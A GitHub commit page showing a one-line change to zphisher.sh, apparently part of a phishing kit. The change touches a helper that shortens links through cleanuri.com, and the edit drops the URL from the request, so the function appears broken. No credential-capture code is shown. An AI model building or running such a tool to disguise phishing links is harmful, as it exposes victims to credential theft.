Skip to content

Commit

Permalink
Update zphisher.sh
Browse files Browse the repository at this point in the history
  • Loading branch information
dracksters authored Jun 10, 2024
1 parent d9fa077 commit 18d9be8
Showing 1 changed file with 1 addition and 1 deletion.
2 changes: 1 addition & 1 deletion zphisher.sh
Original file line number Diff line number Diff line change
Expand Up @@ -565,7 +565,7 @@ custom_mask() {
site_stat() { [[ ${1} != "" ]] && curl -s -o "/dev/null" -w "%{http_code}" "${1}https://github.com"; }

shorten() {
local short=$(curl --silent --insecure --fail --retry-connrefused --retry 2 --retry-delay 2 -X POST -d "url=$2" "https://cleanuri.com/api/v1/shorten")
local short=$(curl --silent --insecure --fail --retry-connrefused --retry 2 --retry-delay 2 -X POST -d "url" "https://cleanuri.com/api/v1/shorten")
if [ $? -eq 0 ]; then
processed_url=${short}
echo "$processed_url" >> shortened_urls.txt # Append the URL to the file
Expand Down

0 comments on commit 18d9be8

Please sign in to comment.